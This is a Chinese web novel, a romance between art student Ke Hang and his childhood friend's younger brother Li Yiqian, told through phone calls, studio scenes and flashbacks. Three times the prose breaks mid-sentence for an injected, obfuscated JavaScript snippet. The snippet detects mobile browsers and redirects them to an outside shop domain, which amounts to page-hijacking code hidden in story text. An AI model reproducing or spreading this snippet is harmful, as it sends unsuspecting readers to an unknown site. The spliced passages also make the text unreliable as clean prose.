《你不要这样看着我》 1. 能不能给我加加油? 耳内嗡鸣声不止,柯杭眯着眼打量眼前的场景。 灰调的房间内,床周杂乱,衣服散落满地,床上依稀辨别出两个人影。 柯杭脑袋疼起来,几乎一瞬间就知道自己是在做梦。 怎么又是这个梦? 眼前的画面忽然变幻,他紧闭着眼,复又睁开。 天花板上的灯很亮也很刺眼,直到视线聚焦,他才看清自己身上的人是谁,头更疼了,甚至觉得这张脸上就写着“欲求不满”四个字。 “哥。”那人缱绻又温柔的叫他。 靠。 怎么还不醒过来! ——嗡 柯杭猛地坐起,喘着粗气,手慌乱地在床上摸着,将闹钟关掉。 他曲起腿,手肘抵在腿上,搓了搓脸。翻了个身重新趴在床上,平复心跳的同时,将脑袋埋在柔软的枕头中间,开始噩梦后的忏悔——我错了,我不该喝酒,别再让我做这个梦了。 床上的人像烙饼一样,又将自己翻了个身,呈“大”字型躺在床上,深呼出一口气后翻身下床。 窗帘透着夜晚城市蒙蒙的灯光,他拉开窗帘,外面的霓虹灯火印在他眸中,他又将窗帘拉上。 因为做梦的原因,他出了比平常还多的汗,跑去浴室冲了个澡出来才舒服些。 柯杭慢吞吞走到厨房,从冰箱拿出两片吐司、半颗生菜和一颗鸡蛋,鸡蛋用蒸蛋器煮好切开,给自己做了个三明治。 食物到嘴里,他的心跳才趋于平缓,从刚才的梦里缓过神来, 再次感慨,喝酒坏事喝酒坏事。 柯杭有些担心接下来会发生的事情了,算算时间,马上高考了,不知道那人之后又会作什么妖。 苍天可鉴,他绝对不是故意祸害纯情男高的。 喝酒误事…… 柯杭惴惴不安地吃完饭洗了碗,又活动活动四肢,还是酸胀,不过也没什么办法。他想了想最近的安排,准备找个时间去盲人按摩。 他去年刚毕业又续上了三年学,不太喜欢群居生活,和家里商量后续了之前的房子。 柯杭平时挺会来事儿的,嘴巴甜,专业能力又扎实,爱往老师边上凑讨论一些技法情感。 在学习之余和几个玩得好的朋友组了个工作室,平时没事聚在一起搞点创作什么的。 没事做的时候再在网上接接单子。 柯杭家里条件还行,三个孩子,他是最小的那个,从小到大没吃过什么太大的苦。 但随着年纪增长,他有了“尊严”,觉得自己成年了,可以自己挣钱自己花了。在他尝试用自己的钱购买画材时,他才发觉,真的好他妈贵。 他高中时候会接些小单子,帮人画头像啊封面什么的,后来接触得越深,有了些曝光度,能接到更好的,像一些游戏和杂志的插画。 手机里也没什么重要消息,就是他的责编问他多久能交画。 哦对,还有漫画。 柯杭是难得的不拖延的性子,视角和分镜草图给编辑看了没问题后,就直接开始了。 熬了几个通宵,昼夜颠倒。 忙完工作他才有闲心思去认真干别的事情,比如睡觉。从第一天中午睡到了第二天晚上,实在是可怕。 刚回完工作消息,手机就响了,是他发小——李一妍。 柯杭无奈,接通电话,“又怎么了李大美女?” “哇,你声音听着好虚。”李一妍说。 柯杭啧一声,嘀咕道:“不至于吧?我都睡那么久了。” 很快,李一妍就说了打电话来的目的,“前几天两家人一起吃饭,你妈抱怨你一年没回家了。” “哦……”柯杭应了声,没解释。那两位平时也没怎么回家,怎么好意思说他的。 还有就是这位姐,他现在也是有点怕的。 毕竟自己和她弟419了,好可怕。事后他还专门去看了眼李一谦的出生年月,还好成年了,不然罪过更大。 “他们说你现在神戳戳的。然后就是一谦考完试后,想去你那边暑假兼职顺带看看你,让你空了带他玩玩。” “嗯嗯……什么?什么叫李一谦顺带来看看我?”柯杭在手机这头花容失色,“我跟他真他妈没什么关系!” 好可怕啊。 这跟把人送到他面前要他负责有什么区别啊! “你嚷嚷什么呢?之前又不是没去找过你。”李一妍无语,“而且我弟想报的学校就在你那,你现在又没对象,也不影响你啥吧。” 柯杭结合李一谦的成绩,想了想这块的大学,“A大?” “啊。”李一妍加快了语速,“你妈过两天应该会跟你联系。我不知道你跟我弟发生什么了,但如果我知道你欺负他的话我锤死你。” 柯杭欲哭无泪,“大姐,我上回见你弟的时候他已经跟我差不多一样高了,现在他比我高了吧?那个子像是被我欺负的吗?而且他之前不是说想去C大吗!为什么要到我这儿打暑假工啊!你们不该带着他到处旅游吗!” “唉,世事无常啊。”李一妍突然顿住,“行了行了,不说了,我这儿有事,你记得我的画啊,挂了。” 嘟—— 柯杭无能狂怒,在床上使劲蛄蛹了几下,头发都乱糟糟的。 他揉揉脑袋,用手梳了梳头发,发现掉了两根,心态更崩了,拿一旁的枕头出气。 妈的,该死的李一谦,缠上他了是不是。 还记得过年时候,柯杭为了避免在家期间遇到李一谦串门儿,直接回了老家。 本来毫无破绽,没有一丝一毫的问题,结果年过完了,他妈问过他是不是跟李一谦闹矛盾了,又苦口婆心劝了劝。 柯杭当时就想说,妈你别管了这矛盾劝不好的。 不知道是不是他内心祈祷起作用,他妈没念叨这事儿了,转而操心起他处对象的事情来了。 柯杭更加无语。 其实这些都还好,不能影响他什么。 他烦躁的是,李一谦这小子跟没事人似的,还隔三差五来找他聊天,搞得是自己斤斤计较一样。 不对,就该是自己斤斤计较啊,被上的又不是那小子。 服了。 快出门时,看到李一谦发来的消息,柯杭觉得今天真是折磨啊,折磨。 [二谦]:杭哥,明天要考试了,能不能给我加加油TVT? 柯杭自认为脾气差,也有依据,小时候经常干架,有些时候聊个天都能跟人吵起来。不知道是不是这一年突破了道德底线,说话都平和低调了不少。 [木]:嗯嗯,加油。 他拿自己对莫奈的敬爱起誓,他只是怕自己恶语相向这位男高中生明后两天的考试失利,这可是耽误终生啊,他赔不起。 发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248878|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完后他就准备把手机扔一边,毕竟这已经是李一谦两小时前给他发的消息了。 没想到那边很快回了过来。 [二谦]:我想听你说话。 柯杭翻了个白眼,还听我说话,梦吧你。 [二谦]:可以吗,杭哥? 柯杭抬头望天花板,忽然想起这人小时候,跟在他和李一妍屁股后面吧嗒吧嗒掉眼泪的时候,心软了些。 现在已经很晚了,凌晨十二点。 心头蹿起一股莫名火,按下语音键就开始骂,“你傻逼啊,还不睡觉,还高考加油,加个屁的油,滚去睡觉。” 那边好长一段时间没回消息,柯杭在思考是不是自己话说重了。 正想着要不要撤回重新说一句,结果发现超过两分钟了。 操。 [二谦]:晚安杭哥。/月亮 柯杭回了晚安,却没觉得心头舒服些。 是不是骂凶了啊? 算了,不想了,能回他消息都不错了。 柯杭很快说服自己,把脑海中李一谦小可怜儿似的模样抛出去。 他现在准备去工作室呆着,或者说,他不想继续呆在这个目前含谦量极高的家里了。 换好衣服,简单倒腾了下自己,柯杭下楼扫了辆共享单车去工作室。 工作室是租的导师的房子,一个小区里,离他租的房子不远,大半夜的也不会堵车,十分钟就到了。 柯杭开门时,就隐约听见里面有歌声。 果不其然,开门后,卡拉OK的声音就传了出来,琨哥正用他温润的声音撕心裂肺地唱死了都要爱。 开门的声音并没有惊扰客厅的几个人,一曲终了,很快有人发现了他,“来了啊小杭,几天没见了。” 柯杭拐去冰箱给自己拿了听啤酒,走到台酒桌前对那边卡拉OK区域招招手,“来一把?” “来!”K歌区域很快被放弃,两人都过来了。 柯杭把杆子抛给来的两个人,“我先咯。” 音响开始放舒缓的小情歌,回想起刚才的震耳欲聋:“还好隔音不错四周又没啥人,不然不知道会被投诉多少次。” 柯杭一杆进洞,点点头,说得对,“几天没来了,你们进度怎么样了?” 是这样的,年底他们艺术学院会有办一场展览,他们的导师周凛,也就是学院的副主任,让他们每人至少有件拿得出手的作品来。 艺术展,他们创艺系的主题是“光”。 当时还引发了他们讨论,比如:光也可以指代希望,那是不是可以直接交张白纸上去代表无限希望…… 柯杭暂时还没灵感,这件事就先放置下来了。 一局台球后,他挥挥手,“不打了,我得去还个债。” 他慢吞吞上楼,又从楼上拎了个小桶下来,装上水后,又拿了一听可乐原路返回。 李一妍做自媒体,去年刚买了房子,拿到房产证后就说让他给画几幅装饰画给挂上,前几天刚来讨债,不过他在忙就说等等。 今天有空了,可以画第二幅了。 走进画室,他先是翻出上次的水彩画,放在旁边。 春意盎然,绿枝疯长,生机勃勃却被框在画中。 柯杭看了一眼后,仔细将画纸固定贴上胶布。 “那就春夏秋冬各来一幅吧。”他自言自语道。 2. 他会挡我桃花 在柯杭准备将画寄给隔壁市的李一妍时,对方询问他能不能到工作室来取取材。 [木]:? 李一妍发来一条语音,“顺带就把画拿了嘛,就不用你给我寄了。帮帮忙,我最近创作瓶颈,让我瞻仰一下艺术家们的生活找找灵感。” 柯杭不解:“那我问你,你一个美食博主,能在美术工作室找什么灵感?因为他俩都带个’美‘字?” “帮你们涨涨热度,问问你们负责剪辑的那个妹妹呢?” “行,我去问问。” 他们工作室是有一个账号的,一个影视专业的学妹在运营,平时会拍一些段子上传在网上。 最终,在征得工作室成员同意后,柯杭答应带李一妍来工作室溜达一圈。 哪知她和学影视专业的那妹子一拍即合,分享脑海里的新奇点子,不亦乐乎,“别管我了你自己去画画吧,这妹子陪我就行了。” 柯杭摇了摇头,回了自己画室。 最近忙着期末,大部分人基本窝在工作室里,自己的小画室就是绝佳的自习室。 不知过了多久,他的画室门响了,随后李一妍跟着进来。 柯杭感应到有人来,调小了风力,偏头看去。 “我跟小昕买了水果回来做水果捞,放冰箱了。”李一妍关上门,朝他走过来,“画什么呢,大艺术家?” “……”柯杭脑中某根线绷了一下,咬牙切齿,“一边儿去。” 李一妍不听,反而找来一个凳子坐下,拍了柯杭手臂一巴掌,“跟我说说你和我弟的事儿呗。” “画画呢,没空。”柯杭直截了当拒绝了,手里拿着吹风机细心地吹画布。 李一妍忽然开始叹气,“唉,可怜我那弟弟,还想着来照顾你,给你做饭,我说你不用啊,他说他担心你。” “明明我才是亲姐。”李一妍若有所指,“不知道的还以为你跟他才是亲的。” 亲的? 柯杭不语,只是一味回想他那天跟李一谦亲没亲。 没亲吧? 他身上干干净净的,嘴也不肿,最多身上有些做的时候留下的淤青。 没亲。 很好。 “好好反思一下吧,李一妍。” 李一妍疑惑:“?” 柯杭:“谁叫你前几年放假不着家,他天天只能找我玩。” 这话一说出口,李一妍震惊了,心里骂了不知道多少脏话,最后忍气吞声,“行,现在算是跟你玩出来了,马上就来找你了。” 柯杭翘起的一点嘴角立马瘪下去了。 不要来找我啊。 他对着李一妍实在发不起火来,最后一腔怒火熄成一句,“不准让他来我这儿。” “为什么?”李一妍的八卦之心熊熊燃起,毕竟他们家前两个月可是发生了一件大事啊。 柯杭瞥了她一眼,“他会挡我桃花。” 李一妍翻了个白眼,“你是说你被一个腹肌男钓了两年,跑去找人,发现人家已经有对象了的这个桃花?” 心里却在嘀咕,把挡桃花的变成自己的桃花不就行了? 画布上的颜料已经吹干,柯杭关掉吹风机,扯了插头后放到画架后的储物柜里。 “没有被钓。” 李一妍还要说什么,看柯杭的动作直觉不妙,于是先下手为强——掐住柯杭的后脖颈,“不要拿你带了颜料的艺术双手来碰我。” “我才刚放下东西。”柯杭作势要拿手去挨她。 李一妍果然立马松开手跳到边上去,“我靠,莫挨老子啊。” “干的。”柯杭摊开手,“放心吧,颜料那么贵,我舍不得。” 李一妍:? 俩人碰拳言和,坐下来开始聊天。 刚接到李一妍两人就打车过来了,车上有司机,他俩也不好聊什么,便拖到了现在。 柯杭心里也知道,逃不过这一茬。 心中默念十遍“心平气和,和气生财”后,对李一妍说:“来聊吧。” “我弟——” 她的话却很快被打断,“先别聊你弟。” “行。”李一妍觉得自己很好说话,“你那个前男友——” 柯杭举起手,又打断她,“停。”然后深呼吸,静了一秒后,“这最多算有点情感纠纷的网友,不算前男友。” 只是每天找他聊天而已,都没有谈上,算什么男朋友? “哦。”李一妍冲他挑眉,看他留到锁骨下方的长发,“你最近有染头发的准备吗?” 柯杭垂眸,捻起一缕发丝,指尖绕了绕,“再说吧,最近没那想法。” “哦。”李一妍提起一撮他的头发,看见底下新生的黑发,“你怎么想起来染个蓝毛啊?” 柯杭去年突发奇想,去漂发染了一头蓝,现在黑发已经长到耳鬓处,染的颜色也由蓝变绿又褪成黄白色。 “因为喜欢。”柯杭说。 李一妍认可:“确实挺好看。”她想起什么,又说,“二谦要先去我那边两天,到时候我让他给你带几个发箍来。” 柯杭无语:“他不能不来?” “不能。”李一妍幸灾乐祸,“你妈说的让他来找你,不然就是打她脸。” 柯杭无语,“她瞎掺和啥啊。” 从两家小孩熟络起来,经常开始邻居之间的串门开始,柯杭就知道他妈喜欢李一谦,觉得这小子长得好看又乖,待遇简直赶上他这个亲儿子了。 出于某种幼稚心理,他小时候没事儿就爱小小捉弄一下李一谦,包括但不限于:告诉李一谦,李一妍是一了,所以他只能是二,叫李二谦;买了巧克力豆骗李一谦是仙丹,得跪拜三下才能给他等等。 李一谦喜欢吃橘子,有一次不小心把籽吞进肚子了,柯杭骗他吞下去的籽会在肚子里生根发芽然后撑破肚子。小孩儿当时没哭没闹,沉默着又吃了几个橘子,说了声再见就回去了,他也没在意——直到第二天被他妈莫名揍了一顿。 当时柯杭在家里上蹿下跳的躲,“我咋了啊!莫名其妙要揍我。” 两人隔着沙发,他妈不追他了,叉着腰站在原地,鸡毛掸子指着他,“你昨天跟人家李一谦说什么了?” 没说什么啊。 但很快他妈就为他解决了疑惑。 “昨晚你何阿姨回去发现儿子在哭,哭就算了,还写遗书,哄了好久才问出是你跟人家说籽吃进肚子里会撑破肚子。” 当时柯杭一下就笑出声了。 这小屁孩儿也太可爱了吧,居然真以为自己要没命了。 “之前每年放假你俩不都呆一起么?”李一妍说。 半天没听到回应,抬头一看,发现这人还在出神,脸上还有诡异的笑容,她手伸到对方面前,打破了柯杭的回忆:“喂,不会真画癫了吧?” “边儿去。”柯杭拍开她的手,“你刚说什么了?你弟来对我有什么好处?” 李一妍握紧拳头,“一个一米八几有腹肌的大帅哥到你那破小出租屋,给你洗衣做饭洗画笔,不好么?” 柯杭自动忽略前半段话,琢磨了一下后半句。 洗画笔啊,真有点心动了。 但还得收拾次卧,家里多出一个人来,好麻烦,斟酌再三,柯杭还是决定拒绝,“我——” “别急着拒绝啊!”李一妍想捂他嘴,被躲开,“他还能继续给你当素描模特。” 柯杭不语,脑海里两个小人不停打架。 他平复自己的心情,试图说服他发小,“是这样的,李一妍小姐,我是个gay,你是知道的。” “但不得不承认,你说这些对我确实很有诱惑力,我是真的心动了,因为我很久没找到合适的人体模特了。” 李一妍听着他的话不停点头,“嗯,嗯嗯。” “但是。” “但是?” “……”柯杭忽然说不出话来了,总不能说我看你弟会有想法吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248879|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他已经能想象到说出这句话后,李一妍会如何嘲讽他,眉头紧蹙着说,“不会吧柯杭,你对这个你从小看到大的小屁孩儿有感觉?” 脑内的声音和耳边的声音忽然重合起来,以至于他没发现这话的语气和说法都跟他想象中的不一样。 柯杭:“?”我说话了? “不会吧?”李一妍眼里燃起一种莫名的情绪,吃惊道。 难道说柯杭真对他弟有意思啊。 柯杭觉得自己喉头哽了块石头,艰难开口,“怎么会。” 说得十分心虚。 说实话,到现在他还没和李一谦好好谈过他俩那晚的事情,一是对方好像没当一回事,另一个原因,是他发现自己好像是主动的那个。 “对了,你那天到底怎么回事啊,问了快一年了都没问出个屁来。”李一妍又说。 柯杭装糊涂,“哪天?”心里祈祷着忘记忘记忘记。 “就你发现那个傻逼男人是渣男的那天,回来后你跟我说要小酌一下开始创作。” “哦…那天啊。”柯杭有点磕巴,“嗯,那天,也没什么。” 李一妍好像没发现他的不对劲似的,随口说道:“哦,那就行。那天我还以为你要去找我弟来着,我给他打电话没人接,应该是睡着了。” “……毕竟学业重,休息也很重要。”柯杭说。 不要再让我想起来了,求求了大哥。 那晚后的第二天,他是在李一谦的床上醒过来的,只有他自己。睁开眼只觉得头痛得要死,准备摸手机看时间的时候,牵一发而动全身,他当场就叫出了声。 卧室的空调还开着,他摸到手机,发现上面贴了个便利贴,李一谦的字。 他翻了个身,侧着看上面的内容和署名。 [买了药,已经上过一次了,睡醒我还没回来的话,自己记得再涂一下。冰箱里有三明治,加热就能吃。我下了晚自习马上回来。二谦] 柯杭大脑空白了一瞬,又拿起刚才撇下的药管。 Xxx软膏。 功效:xxxxxxx痔疮xxxxx 柯杭:……我操,头好痛,要长脑子的痛。 结合自己身体、药和便利贴,他推出前一晚发生的事情。赶快收拾好连滚带爬回了家,连软膏都来不及拿。 往事不堪回首,柯杭换了个话题,“你找到灵感了吗?” “找到了。”李一妍点点头,“发现人多才会有灵感的触碰,单干太累了,想把你们昕妹挖走。” 柯杭手抬起,又放下,“你能给她开实习证明吗?”见人不说话,他自问自答,“我们能,还能给盖章,有副教授兜底。” 李一妍:……行吧,欺负她单干没团队是吧。 “你什么时候回去?”柯杭起身理了理衣服,带人往外走。 李一妍想了想,“明天吧,明晚我弟就找我去了。” “哦。” 李一妍忽然一拍手,“要不这样。” 柯杭幽幽目光盯着他,直觉不好。 “我让他改签,直接到你这儿来算了,我再在你这儿呆两天。” “不——” “太棒了这个主意,正好你们这儿锅碗瓢盆都有,给你们改善改善伙食,昕妹还能帮我拍拍视频。” “我——” 柯杭两次试图打断,无果,有些自暴自弃,“随便吧。” 李一妍微笑着看他,“嗯?” “你自己去商量。” “哦,那我弟呢?” 柯杭叹了口气,不想继续跟这糟心发小说话,“要来就来吧,别忘了刚才答应的事就行。” 洗画笔当模特,洗衣做饭扫地。一样都不能少,否则他就要赶人了。 下楼后,他发现工作室好几个人都在客厅坐着看电影,人均手里捧着一碗水果捞。 …… 他们这群人聚起来,白天果然干不成啥事儿。 3. …… 华灯初上,工作室的人在李一妍来的第一天改善了伙食,不再是外卖套餐。 吃完饭后,柯杭问李一妍晚上住他那儿还是酒店。 李一妍说酒店。 柯杭乐了:“你不是要在我那儿凑合凑合么?” “算了,你那儿我还得自己收拾,想也知道你那屋子是个什么样子。” “那你说说,什么样子了?”柯杭气笑了。 他租的两室一厅,看中的是这套房子的阳台。风景没多好,但宽敞,于是当作了在家里的画室。 柯杭每天都会画点东西,有时候是自己的工作,有时候是随手可见的一些小玩意儿,不拘泥于素描彩绘板绘这些形式。 一是保持手感,二是已经习惯了。 家里放了很多他的画,大部分都搁置在次卧了,平时家里还是很整洁的,他会定时打扫卫生。 所以,他有些生气李一妍口中略带嫌弃的话。 “还能是什么样子,来说说沙发吧?沙发肯定铺了黑色的沙发巾,上面不是你成堆的素描就是干了的颜料画。”李一妍看了他一眼,“再说说沙发旁的茶几,上面估计是你当时没干的画,至于其他地方,你觉得满意的画会拿去裱框,然后堆在一个地方,越堆越多,但现在应该送不出去吧?” 柯杭:“?” 什么叫送不出去? 这位小姐,有点冒昧了啊。 “你身边全是美术生,送出去谁要?” 柯杭觉得她太不了解自己了:“我挂平台上卖。” “哦。”李一妍点点头,“看来你不否认我前面的推测。” 以前柯杭临摹了很多大作,有些放在家里,有些送给朋友。 如果李一谦在他家,他画完后觉得不错就问李一谦要不要,不要的话自己再欣赏一阵问问朋友要不要,或是挂在网上卖了。 要说他的画谁那里最多,那肯定是李一谦那儿。 “以前你在家好歹还有李一谦给你收拾,你俩一年没见了吧?”李一妍说。 柯杭点点头。 街上还很热闹,柯杭问李一妍要不要去按摩,李一妍拒绝了,并向他推荐自己弟弟,“你等李一谦明天来了给你按呗,他技术好你又不是不知道。” 柯杭沉默一瞬,“……哦。” 他当然是知道的,毕竟之前也有经常享受,哈。 “你走吧,我去找我朋友聊会儿天。”李一妍停在一口路口等车,赶人走。 柯杭:“谁啊?” “你别管,明天再来找你。” 他拿李一妍没办法,“你到酒店记得跟我发消息。” 回到家里,柯杭开始收拾房间。 虽然他现在和李一谦的关系有点尴尬,但也不至于真不让人来,也不至于真当个甩手掌柜让李一谦自己收拾。 他收收捡捡,把次卧拾掇了一番,热得浑身冒汗。 柯杭在家里转了一圈,铺满画但看着依旧整洁的沙发,堆满画材却不杂乱的茶几,他咂咂嘴,其实也不那么乱。 他去冲了个澡出来,头上顶着一张毛巾,用手胡乱擦着。铺在沙发上的画纸被他一张张重叠起来,挪出了个坐的地方。 走到哪儿收拾到哪儿。 茶几不大不小,上面堆了很多画和画材,铅笔炭笔橡皮折叠水桶什么的。 毛巾被放到一边,他开始对桌面上的画和画材挑挑拣拣,放置了一些在地上。 比较一般的画,出门的时候丢,耗尽的颜料,丢。 学美术这么多年,身体完全健健康康是不可能的。就这么一会儿,柯杭已经觉得自己腰酸背痛了。 平时他也有注意休息,但一画起来,完全就是“天地万物化为虚有”,对外界的感知降到最低,基本可以不吃不喝,直到一张画结束。 他这种状态让工作室的人很是羡慕,家里人却为此操碎了心。 先不说固定的一天一视频,就之前放假回家时也是一天两个电话提醒他吃饭。 也难怪他妈非要把李一谦送来说陪他了。 李一谦家父亲在研究所工作,母亲是知名律师,柯杭家做生意的,两家父母常年不在家。作为邻居,两家小孩儿关系不错,也常串门,所以很放心地把李一谦放到他家来。 这个传统一直延续到了去年。 十五六岁的时候,柯杭无语过一段时间,李一谦一个快十岁的小学生自己在家又怎么了,非要到他家来。 但人来后也照旧乖乖做作业,不吵不闹,还给他使唤,柯杭就没说什么了。 柯杭常常在画板前坐一天,一张接一张,不饿不渴,但被打扰会很烦,为此跟家里吵过很多次架。 同样是关心,同样是催吃饭,李一谦就不一样。 家里之前还不是智能锁,只能用钥匙开门。 那天早上李一谦照旧来了他家,开门的时候柯杭看见他提着鼓鼓的书包,还调侃,“作业这么多,学校真是越来越不做人了。” 说完他就回他的小角落呆着了,也没在意李一谦做了些什么。 一开始动笔,他就忘了时间,多数时候只有快结束时他才会注意到胃部的疼痛,再去觅食。那天那幅画完成后,他却没有饥饿感,摸摸小腹竟然还有点鼓。 哦,好像是李一谦喂他吃过东西。 扭头看见不远处的小桌上摆着一碗没吃完的水果和几块小蛋糕,他咂吧咂吧嘴,还有芒果蛋糕的味道。 柯杭走过去拿起一块蛋糕,发现旁边保温杯下压着一张纸条。 [有兴趣班,我先走了,杭哥记得吃饭ovo] 他拧开杯盖,寥寥热气从杯中冒出,橘子茶的味道。 铃声响起,柯杭下意识去摸手机。被阳光刺得难受,翻了个身,突如其来的悬空感让他立马清醒过来。 ——砰。 “操。”柯杭没忍住骂了声。 他的右手还抓着边上的茶几,还好重量够,不然还得砸个茶几在他身上。 从沙发上摸出手机,他看了眼来电人——老妈。 柯杭压着起床气,问,“怎么了黄姐?” “哎哟,才睡醒呐?”柯妈的声音很柔和。 他声音沉闷,“嗯”了一声。 现在十二点过,午饭时间了。 “快考试了?”柯妈说,“暑假要回来不?” 柯杭揉揉脑袋,“不回,你跟老柯不是要出差吗?” 这两人常年在外很少回家,回去又看不见他们,还不如这儿呆着舒服。 “那暑假什么打算?” 听着温声细语,柯杭的心情也平复了不少,说起自己的计划来,“画画,看展,玩。” “一谦到你那儿去没?” 柯杭忍不住翻了个白眼,“没,昨天李一妍来了,他今天才来。” “你有空的时候带一谦去玩玩?” “他多大人了还要我带?”柯杭想也不想反驳道。 柯妈不满他的话,“他对A市不熟,你一个人也是玩,多带一个人也是玩。” “我——”柯杭本想说自己也不熟来着,又发现自己好像对A市也挺熟的,毕竟呆了几年,“行吧。” 母子俩又聊了几句家长里短,李一妍的电话就打了进来,柯杭结束聊天,“不说了黄姐,李一妍打电话来了。” “行,吃饭去吧。”柯妈果断挂掉电话。 和李一妍商量完行程后,柯杭简单冲了个澡,换好衣服后,驻足在客厅,盯着茶几上的画。 他一边揉着酸痛的腰,一边思考要不要把画带出去扔了。 堆了挺多出来的。 满意的画早就单独放了起来,不满意的,之前都是让李一谦去丢的,算下来他这垒高的画已经堆了半年多了。 李一妍又打来电话,柯杭出门前看了眼身后的画。 不管了。 李一谦要是不来自己还用不着收拾,凭什么要替他收拾? 柯杭被这个理由说服,决定李一谦来了看不顺眼自己收拾,关他什么事,反正他看得顺眼。 会面后,他们去一家网红餐厅打卡,用李一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248880|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妍的话来说,就是要善于吸纳别人的长处,再加到自己的东西里去。 食物的外貌和摆盘都能影响用餐者的心情,哪怕这菜不那么好吃,至少好看。大部分人会因为它的好看而原谅它味道上的不足。 好吧,柯杭还是很赞同这话的。如果出来吃饭,色香味不全的话,确实影响进食。 他们点的这家餐厅的招牌,柯杭等李一妍拍完照后才获得用餐权。 柯杭叉起一块蛋糕送进嘴里,对面就开口了,“对,吃慢点,细细品味。觉得这个口感怎么样?” “一般,感觉这个抹茶粉有点苦。”柯杭抿了一口免费的柠檬水,面前多出一块蛋糕,餐盘后的手鬼鬼祟祟缩回。 抬眸对上李一妍期待的眼神,“再试试这个?可可的,感觉不错。” 柯杭又用叉子别下一小块可可蛋糕,片刻后给出评价,“还不错。” “具体点。” “口感绵密,奶油顺滑,香气浓郁,让我一下想起了高三你送我的巧克力。” 李一妍愣住,想了想,完全记不住有这事:“什么时候?” 柯杭随口道:“七夕啊,不是你托你弟给我送的吗。” 高三时间紧,那时柯杭还在隔壁区封闭式集训。七夕那天正好周五,可以回家,但家里也没什么人,他就继续在学校呆着了。 傍晚接到李一谦的电话,问他今天回不回家,他说要在画室呆着就不回了。 李一谦顿了下,才又说,“这周放月假,跟同学出来玩,刚好在你学校附近,我能进来找你玩吗?” 不等柯杭回答,他又抢着说,“刚才我们去逛商场,买了很多零食,太重了,分你点,我姐还让我给你带了东西。” “吃饭没?”柯杭问他。 听到答案后,柯杭又问他在哪儿,哦,在学校门口,好样的。 当时的柯杭倒也没想其他的,难得有人来看他,挺开心的。 那天他收到的,除了一大袋零食外,还有一盒巧克力,他看了眼包装精美的巧克力,问:“这不会是你姐看我可怜,让你专门带来给我的吧?” 他翻着袋中的零食,忽略了李一谦的神情和语气。 “嗯,她说怕你羡慕别人。” 柯杭乐了,“赏我的是吧?” 李一谦干巴巴道:“不是我说的。” “我怎么可能送你巧克力?”李一妍皱眉,盯着面前的蛋糕,怀疑自己发小脑袋出问题了,不然怎么比她多一段记忆。 “该不会是一谦自己去找你送的吧?”李一妍问。 结合李一谦对自己的态度和崇拜程度,柯杭顺着李一妍的思路想了想,觉得很有可能。 “等会儿,我想想。” 那天给了巧克力之后,还说什么吗? 带李一谦吃了集训学校的食堂,在学校走了一圈后准备送人出去,结果李一谦说还不想回去。 柯杭无法,还是顺着小孩儿,将人带到画室。 把人安置在自己旁边的空位上,柯杭四处看了看,“让我看看你可以玩点什么。” 周围全是画架,地上全是颜料和桶,墙上全是画,李一谦坐在其间,格格不入。 柯杭问:“画画?” 李一谦摇头:“我不会。” 柯杭坐在板凳上,弯腰拾起地上的铅笔:“那玩会儿手机?” 李一谦举起手,将手腕伸到他面前。 哦,小天才电话手表。 他从包里摸出自己的手机给李一谦:“那你背会儿单词?”等李一谦接过手机后,他才叮嘱,“登你自己的账号别登我的。” 之后他就开始画画了,没怎么注意李一谦。 天已经黑了,扭头却发现李一谦还在,他惊讶:“还在啊?” 李一谦点了点头,剥了个巧克力给他。 低头看两只手,手上全是蹭的铅笔灰,他自然而然地张开嘴,等待投喂。 柯杭没能看到给出巧克力时的羞涩,也没能发现李一谦转瞬即逝的僵硬,错过了他的情窦初开。 4. 找到你了 用餐结束,柯杭跟李一妍回酒店拿东西,说是借酒店厨房做的清凉饮。 柯杭提着两提果茶:“也难为你还去买了这么多打包杯。” 李一妍空闲的手摆了摆:“一家人不说两家话。” 来到工作室,客厅没人在。 柯杭说:“要么在画室,要么没来。” 两人一起把果茶放进冰箱。 冰箱里不仅放着面包饮料,还有一些毛毡成品。 昨天打开冰箱时,李一妍还吓了一跳,今天已经能够处变不惊地放东西进去,实在是很大进步。 放东西的时候,李一妍说等会儿回家了。 柯杭不解:“这么早?不是要呆几天么?” “嗯?”李一妍关上冰箱,转身靠着冰箱,惊讶道,“我没告诉你吗?我要国外去玩。” 柯杭皱眉:“你自己?去找那个姓杨的?” 李一妍是有对象的,比他们小一届,去年出国留学去了,两人感情倒是好,异国也没影响什么。 “是啊。”李一妍坦坦荡荡,笑着问:“你要不要陪我去?” 柯杭沉思片刻:“你等我想想。” 李一妍一下笑出了声:“逗你的,跟我爸妈去旅游,可惜了,二谦不去。” “他为什么不去?”柯杭嘴快问了一句。 李一妍言辞诚恳:“可能因为晕机吧。” 